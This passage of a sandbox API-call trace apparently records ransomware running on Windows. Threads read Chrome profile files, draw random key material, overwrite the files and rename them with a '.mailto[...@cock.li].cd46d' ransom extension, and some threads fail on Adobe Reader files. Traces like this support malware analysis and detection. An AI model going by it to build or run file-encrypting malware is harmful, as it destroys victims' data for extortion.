(HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x9aeee8) returned 1 [0169.941] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x9af0a0) returned 1 [0169.941] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x9af280) returned 1 [0169.941] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x9aed08) returned 1 [0169.941] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x93e090) returned 1 [0169.941] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x93dd98) returned 1 [0169.941] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x93e0b8) returned 1 [0169.941] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0xf4) returned 0x8ec1d8 [0169.941] wcscpy (in: _Dest=0x8ec1d8, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Top Sites" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Top Sites") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Top Sites" [0169.941] wcscat (in: _Dest=0x8ec1d8, _Source=".mailto[2Hamlampampom@cock.li].cd46d" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Top Sites.mailto[2Hamlampampom@cock.li].cd46d") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Top Sites.mailto[2Hamlampampom@cock.li].cd46d" [0169.941] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Top Sites.mailto[2Hamlampampom@cock.li].cd46d", NtPathName=0x405f998, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Top Sites.mailto[2Hamlampampom@cock.li].cd46d", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0169.941] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x10a) returned 0x12cf5090 Thread: id = 4970 os_tid = 0x1e78 [0162.418] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Top Sites-journal" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\top sites-journal")) returned 0x2020 [0166.532] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Top Sites-journal", dwFileAttributes=0x20) returned 1 [0169.342] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Top Sites-journal" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\top sites-journal"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x1a74 [0169.343] GetFileSizeEx (in: hFile=0x1a74, lpFileSize=0x4a8f820 | out: lpFileSize=0x4a8f820*=0) returned 1 [0169.343] FlushFileBuffers (hFile=0x1a74) returned 1 [0170.436] CloseHandle (hObject=0x1a74) returned 1 [0170.436] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Top Sites-journal", dwFileAttributes=0x2020) returned 1 [0172.430] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0xd4ba2a0) returned 1 Thread: id = 4971 os_tid = 0x1e7c [0162.418] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\TransportSecurity" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\transportsecurity")) returned 0x2020 [0166.532] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\TransportSecurity", dwFileAttributes=0x20) returned 1 [0169.343] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\TransportSecurity" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\transportsecurity"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x1a78 [0169.343] GetFileSizeEx (in: hFile=0x1a78, lpFileSize=0x32ff8dc | out: lpFileSize=0x32ff8dc*=632) returned 1 [0169.343] SetFilePointerEx (in: hFile=0x1a78, liDistanceToMove=0x274, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0169.343] ReadFile (in: hFile=0x1a78, lpBuffer=0x32ff860, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x32ff85c, lpOverlapped=0x0 | out: lpBuffer=0x32ff860*, lpNumberOfBytesRead=0x32ff85c*=0x4, lpOverlapped=0x0) returned 1 [0169.345] SetFilePointerEx (in: hFile=0x1a78, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0169.345] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x20) returned 0x9458c0 [0169.345] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x20) returned 0x93e108 [0169.345] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x20) returned 0x93e0e0 [0169.345] NtQuerySystemTime (in: CurrentTime=0x32ff83c | out: CurrentTime=0x32ff83c*=132174899439394000) returned 0x0 [0169.345] RtlRandomEx (in: Seed=0x32ff848 | out: Seed=0x32ff848) returned 0x5c675ea3 [0169.345] RtlRandomEx (in: Seed=0x32ff848 | out: Seed=0x32ff848) returned 0x18ca2a83 [0169.345] RtlRandomEx (in: Seed=0x32ff848 | out: Seed=0x32ff848) returned 0x5f355191 [0169.345] RtlRandomEx (in: Seed=0x32ff848 | out: Seed=0x32ff848) returned 0x1956af33 [0169.345] RtlRandomEx (in: Seed=0x32ff848 | out: Seed=0x32ff848) returned 0x3faf7d0c [0169.345] RtlRandomEx (in: Seed=0x32ff848 | out: Seed=0x32ff848) returned 0x9831e13 [0169.345] RtlRandomEx (in: Seed=0x32ff848 | out: Seed=0x32ff848) returned 0x54bdd486 [0169.345] RtlRandomEx (in: Seed=0x32ff848 | out: Seed=0x32ff848) returned 0x1aef5d16 [0169.345] RtlRandomEx (in: Seed=0x32ff848 | out: Seed=0x32ff848) returned 0x4d005c52 [0169.345] RtlRandomEx (in: Seed=0x32ff848 | out: Seed=0x32ff848) returned 0x252cd203 [0169.345] RtlRandomEx (in: Seed=0x32ff848 | out: Seed=0x32ff848) returned 0x4040fe6a [0169.345] RtlRandomEx (in: Seed=0x32ff848 | out: Seed=0x32ff848) returned 0x3570b62d [0169.345] RtlRandomEx (in: Seed=0x32ff848 | out: Seed=0x32ff848) returned 0x63e71eba [0169.345] RtlRandomEx (in: Seed=0x32ff848 | out: Seed=0x32ff848) returned 0x3b47dd0d [0169.345] RtlRandomEx (in: Seed=0x32ff848 | out: Seed=0x32ff848) returned 0x95577d2 [0169.345] RtlRandomEx (in: Seed=0x32ff848 | out: Seed=0x32ff848) returned 0x29f42ca5 [0169.345] RtlRandomEx (in: Seed=0x32ff848 | out: Seed=0x32ff848) returned 0x1a1a47cd [0169.346] RtlRandomEx (in: Seed=0x32ff848 | out: Seed=0x32ff848) returned 0x5cee0e52 [0169.346] RtlRandomEx (in: Seed=0x32ff848 | out: Seed=0x32ff848) returned 0x44cc400a [0169.346] RtlRandomEx (in: Seed=0x32ff848 | out: Seed=0x32ff848) returned 0x4519aaee [0169.346] RtlRandomEx (in: Seed=0x32ff848 | out: Seed=0x32ff848) returned 0x4fc87e47 [0169.346] RtlRandomEx (in: Seed=0x32ff848 | out: Seed=0x32ff848) returned 0x5a934e3 [0169.346] RtlRandomEx (in: Seed=0x32ff848 | out: Seed=0x32ff848) returned 0x7f90a609 [0169.346] RtlRandomEx (in: Seed=0x32ff848 | out: Seed=0x32ff848) returned 0x6fd0aa76 [0169.346] RtlRandomEx (in: Seed=0x32ff848 | out: Seed=0x32ff848) returned 0x40394a60 [0169.346] RtlRandomEx (in: Seed=0x32ff848 | out: Seed=0x32ff848) returned 0x724d6542 [0169.346] RtlRandomEx (in: Seed=0x32ff848 | out: Seed=0x32ff848) returned 0x483b738c [0169.346] RtlRandomEx (in: Seed=0x32ff848 | out: Seed=0x32ff848) returned 0x55698319 [0169.346] RtlRandomEx (in: Seed=0x32ff848 | out: Seed=0x32ff848) returned 0xaa70e4c [0169.346] RtlRandomEx (in: Seed=0x32ff848 | out: Seed=0x32ff848) returned 0x4e404384 [0169.346] RtlRandomEx (in: Seed=0x32ff848 | out: Seed=0x32ff848) returned 0x73692c05 [0169.346] RtlRandomEx (in: Seed=0x32ff848 | out: Seed=0x32ff848) returned 0x6c130610 [0169.358] ReadFile (hFile=0x1a78, lpBuffer=0x12ca9f30, nNumberOfBytesToRead=0x278, lpNumberOfBytesRead=0x32ff838, lpOverlapped=0x0) [0169.358] SetFilePointerEx (in: hFile=0x1a78, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0169.358] WriteFile (in: hFile=0x1a78, lpBuffer=0x12cb6738*, nNumberOfBytesToWrite=0x278, lpNumberOfBytesWritten=0x32ff834, lpOverlapped=0x0 | out: lpBuffer=0x12cb6738*, lpNumberOfBytesWritten=0x32ff834*=0x278, lpOverlapped=0x0) returned 1 [0169.360] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x20) returned 0x9458c0 [0169.360] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x20) returned 0x9af460 [0169.360] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x9af460) returned 1 [0169.360] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x12cb6738) returned 1 [0169.360] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x12ca9f30) returned 1 [0169.360] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8e9340) returned 1 [0169.360] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8d2d28) returned 1 [0169.360] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x2f) returned 0x8da7f8 [0169.360] SetFilePointerEx (in: hFile=0x1a78, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0169.360] WriteFile (in: hFile=0x1a78, lpBuffer=0x12c77860*, nNumberOfBytesToWrite=0x113, lpNumberOfBytesWritten=0x32ff89c, lpOverlapped=0x0 | out: lpBuffer=0x12c77860*, lpNumberOfBytesWritten=0x32ff89c*=0x113, lpOverlapped=0x0) returned 1 [0169.362] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x12c77860) returned 1 [0169.362] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8daa28) returned 1 [0169.362] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x9af460) returned 1 [0169.362] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8da7f8) returned 1 [0169.362] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x9458c0) returned 1 [0169.362] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x93e108) returned 1 [0169.362] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x93e1f8) returned 1 [0169.362] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x9af1b8) returned 1 [0169.362] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x104) returned 0x12c77860 [0169.362] wcscpy (in: _Dest=0x12c77860, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\TransportSecurity" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\TransportSecurity") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\TransportSecurity" [0169.362] wcscat (in: _Dest=0x12c77860, _Source=".mailto[2Hamlampampom@cock.li].cd46d" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\TransportSecurity.mailto[2Hamlampampom@cock.li].cd46d") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\TransportSecurity.mailto[2Hamlampampom@cock.li].cd46d" [0169.362] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\TransportSecurity.mailto[2Hamlampampom@cock.li].cd46d", NtPathName=0x32ff854, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\TransportSecurity.mailto[2Hamlampampom@cock.li].cd46d", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0169.362] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x11a) returned 0xd4d63f8 Thread: id = 4972 os_tid = 0x1e84 [0162.418] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Visited Links" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\visited links")) returned 0x2020 [0166.532] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Visited Links", dwFileAttributes=0x20) returned 1 [0169.366] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Visited Links" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\visited links"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x1a7c [0169.366] GetFileSizeEx (in: hFile=0x1a7c, lpFileSize=0x4d2f884 | out: lpFileSize=0x4d2f884*=131072) returned 1 [0169.366] SetFilePointerEx (in: hFile=0x1a7c, liDistanceToMove=0x1fffc, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0169.366] ReadFile (in: hFile=0x1a7c, lpBuffer=0x4d2f808, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x4d2f804, lpOverlapped=0x0 | out: lpBuffer=0x4d2f808*, lpNumberOfBytesRead=0x4d2f804*=0x4, lpOverlapped=0x0) returned 1 [0169.368] SetFilePointerEx (in: hFile=0x1a7c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0169.368] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x20) returned 0x9af1b8 [0169.368] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x20) returned 0x9af460 [0169.368] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x20) returned 0x9af348 [0169.368] NtQuerySystemTime (in: CurrentTime=0x4d2f7e4 | out: CurrentTime=0x4d2f7e4*=132174899439706000) returned 0x0 [0169.368] RtlRandomEx (in: Seed=0x4d2f7f0 | out: Seed=0x4d2f7f0) returned 0x3d66a1ac [0169.368] RtlRandomEx (in: Seed=0x4d2f7f0 | out: Seed=0x4d2f7f0) returned 0x54f274d1 [0169.368] RtlRandomEx (in: Seed=0x4d2f7f0 | out: Seed=0x4d2f7f0) returned 0x14ab21c1 [0169.368] RtlRandomEx (in: Seed=0x4d2f7f0 | out: Seed=0x4d2f7f0) returned 0x3feef9f5 [0169.368] RtlRandomEx (in: Seed=0x4d2f7f0 | out: Seed=0x4d2f7f0) returned 0x32968a46 [0169.368] RtlRandomEx (in: Seed=0x4d2f7f0 | out: Seed=0x4d2f7f0) returned 0xcd4dc24 [0169.368] RtlRandomEx (in: Seed=0x4d2f7f0 | out: Seed=0x4d2f7f0) returned 0x7a50e438 [0169.368] RtlRandomEx (in: Seed=0x4d2f7f0 | out: Seed=0x4d2f7f0) returned 0x42e2715c [0169.369] RtlRandomEx (in: Seed=0x4d2f7f0 | out: Seed=0x4d2f7f0) returned 0x2d085c42 [0169.369] RtlRandomEx (in: Seed=0x4d2f7f0 | out: Seed=0x4d2f7f0) returned 0x27979e49 [0169.369] RtlRandomEx (in: Seed=0x4d2f7f0 | out: Seed=0x4d2f7f0) returned 0x4882261e [0169.369] RtlRandomEx (in: Seed=0x4d2f7f0 | out: Seed=0x4d2f7f0) returned 0x32ecc7fd [0169.369] RtlRandomEx (in: Seed=0x4d2f7f0 | out: Seed=0x4d2f7f0) returned 0x7742fdf2 [0169.369] RtlRandomEx (in: Seed=0x4d2f7f0 | out: Seed=0x4d2f7f0) returned 0x35e4a247 [0169.369] RtlRandomEx (in: Seed=0x4d2f7f0 | out: Seed=0x4d2f7f0) returned 0x79346515 [0169.369] RtlRandomEx (in: Seed=0x4d2f7f0 | out: Seed=0x4d2f7f0) returned 0x4ee708f8 [0169.369] RtlRandomEx (in: Seed=0x4d2f7f0 | out: Seed=0x4d2f7f0) returned 0xdf18784 [0169.369] RtlRandomEx (in: Seed=0x4d2f7f0 | out: Seed=0x4d2f7f0) returned 0x73ad20b0 [0169.369] RtlRandomEx (in: Seed=0x4d2f7f0 | out: Seed=0x4d2f7f0) returned 0x7082e860 [0169.369] RtlRandomEx (in: Seed=0x4d2f7f0 | out: Seed=0x4d2f7f0) returned 0x25af872f [0169.369] RtlRandomEx (in: Seed=0x4d2f7f0 | out: Seed=0x4d2f7f0) returned 0x1e44261f [0169.369] RtlRandomEx (in: Seed=0x4d2f7f0 | out: Seed=0x4d2f7f0) returned 0x417c26f [0169.369] RtlRandomEx (in: Seed=0x4d2f7f0 | out: Seed=0x4d2f7f0) returned 0x9f21420 [0169.369] RtlRandomEx (in: Seed=0x4d2f7f0 | out: Seed=0x4d2f7f0) returned 0x6f3c906 [0169.369] RtlRandomEx (in: Seed=0x4d2f7f0 | out: Seed=0x4d2f7f0) returned 0x4e60dc11 [0169.369] RtlRandomEx (in: Seed=0x4d2f7f0 | out: Seed=0x4d2f7f0) returned 0x2508493c [0169.369] RtlRandomEx (in: Seed=0x4d2f7f0 | out: Seed=0x4d2f7f0) returned 0x7d308686 [0169.369] RtlRandomEx (in: Seed=0x4d2f7f0 | out: Seed=0x4d2f7f0) returned 0x734e2626 [0169.369] RtlRandomEx (in: Seed=0x4d2f7f0 | out: Seed=0x4d2f7f0) returned 0x14ee54f9 [0169.369] RtlRandomEx (in: Seed=0x4d2f7f0 | out: Seed=0x4d2f7f0) returned 0x671d63e0 [0169.369] RtlRandomEx (in: Seed=0x4d2f7f0 | out: Seed=0x4d2f7f0) returned 0x9cc500e [0169.369] RtlRandomEx (in: Seed=0x4d2f7f0 | out: Seed=0x4d2f7f0) returned 0x305ebd5d [0169.380] SetFilePointerEx (in: hFile=0x1a7c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0169.380] ReadFile (in: hFile=0x1a7c, lpBuffer=0x12ca9f30, nNumberOfBytesToRead=0xc800, lpNumberOfBytesRead=0x4d2f7c4, lpOverlapped=0x0 | out: lpBuffer=0x12ca9f30*, lpNumberOfBytesRead=0x4d2f7c4*=0xc800, lpOverlapped=0x0) returned 1 [0169.395] SetFilePointerEx (in: hFile=0x1a7c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0169.395] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x40) returned 0x8d2d28 [0169.395] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x70) returned 0x8e9340 [0169.395] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x20) returned 0x9af1b8 [0169.395] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x9af1b8) returned 1 [0169.396] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0xc800) returned 0x12cb6738 [0169.397] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x20) returned 0x9af1b8 [0169.397] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x20) returned 0x9af348 [0169.397] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x9af348) returned 1 [0169.397] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8e9340) returned 1 [0169.397] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8d2d28) returned 1 [0169.397] WriteFile (in: hFile=0x1a7c, lpBuffer=0x12cb6738*, nNumberOfBytesToWrite=0xc800, lpNumberOfBytesWritten=0x4d2f7c4, lpOverlapped=0x0 | out: lpBuffer=0x12cb6738*, lpNumberOfBytesWritten=0x4d2f7c4*=0xc800, lpOverlapped=0x0) returned 1 [0169.399] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x12cb6738) returned 1 [0169.399] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x12ca9f30) returned 1 [0169.399] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x27) returned 0x8d8838 [0169.399] SetFilePointerEx (in: hFile=0x1a7c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0169.399] WriteFile (in: hFile=0x1a7c, lpBuffer=0x12c77860*, nNumberOfBytesToWrite=0x10b, lpNumberOfBytesWritten=0x4d2f844, lpOverlapped=0x0 | out: lpBuffer=0x12c77860*, lpNumberOfBytesWritten=0x4d2f844*=0x10b, lpOverlapped=0x0) returned 1 [0169.401] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x12c77860) returned 1 [0169.401] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8d8928) returned 1 [0169.401] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x9af348) returned 1 [0169.401] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8d8838) returned 1 [0169.401] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x9af1b8) returned 1 [0169.401] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x9af460) returned 1 [0169.401] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x9af320) returned 1 [0169.401] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x9af258) returned 1 [0169.401] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0xfc) returned 0xd4ca080 [0169.401] wcscpy (in: _Dest=0xd4ca080, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Visited Links" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Visited Links") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Visited Links" [0169.401] wcscat (in: _Dest=0xd4ca080, _Source=".mailto[2Hamlampampom@cock.li].cd46d" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Visited Links.mailto[2Hamlampampom@cock.li].cd46d") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Visited Links.mailto[2Hamlampampom@cock.li].cd46d" [0169.401] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Visited Links.mailto[2Hamlampampom@cock.li].cd46d", NtPathName=0x4d2f7fc, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Visited Links.mailto[2Hamlampampom@cock.li].cd46d", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0169.401] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x112) returned 0x12c77860 Thread: id = 4985 os_tid = 0xdb0 [0162.434] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\nl_NL\\Checkers.NLD" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\nl_nl\\checkers.nld")) returned 0x20 [0164.191] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\nl_NL\\Checkers.NLD", dwFileAttributes=0x20) returned 0 [0164.191] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\nl_NL\\Checkers.NLD" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\nl_nl\\checkers.nld"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0164.191] GetLastError () returned 0x5 [0164.191] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\nl_NL\\Checkers.NLD", dwFileAttributes=0x20) returned 0 [0164.191] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x9acda8) returned 1 Thread: id = 4986 os_tid = 0xdb4 [0162.435] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\nl_NL\\DigSig.NLD" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\nl_nl\\digsig.nld")) returned 0x20 [0164.154] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\nl_NL\\DigSig.NLD", dwFileAttributes=0x20) returned 0 [0164.154] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\nl_NL\\DigSig.NLD" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\nl_nl\\digsig.nld"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0164.154] GetLastError () returned 0x5 [0164.154] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\nl_NL\\DigSig.NLD", dwFileAttributes=0x20) returned 0 [0164.154] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x9ac398) returned 1 Thread: id = 5002 os_tid = 0xdfc [0162.707] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\Adobe-GB1-2" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\cmap\\adobe-gb1-2")) returned 0x20 [0167.063] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\Adobe-GB1-2", dwFileAttributes=0x20) returned 0 [0167.063] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\Adobe-GB1-2" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\cmap\\adobe-gb1-2"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0167.063] GetLastError () returned 0x5 [0167.063] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\Adobe-GB1-2", dwFileAttributes=0x20) returned 0 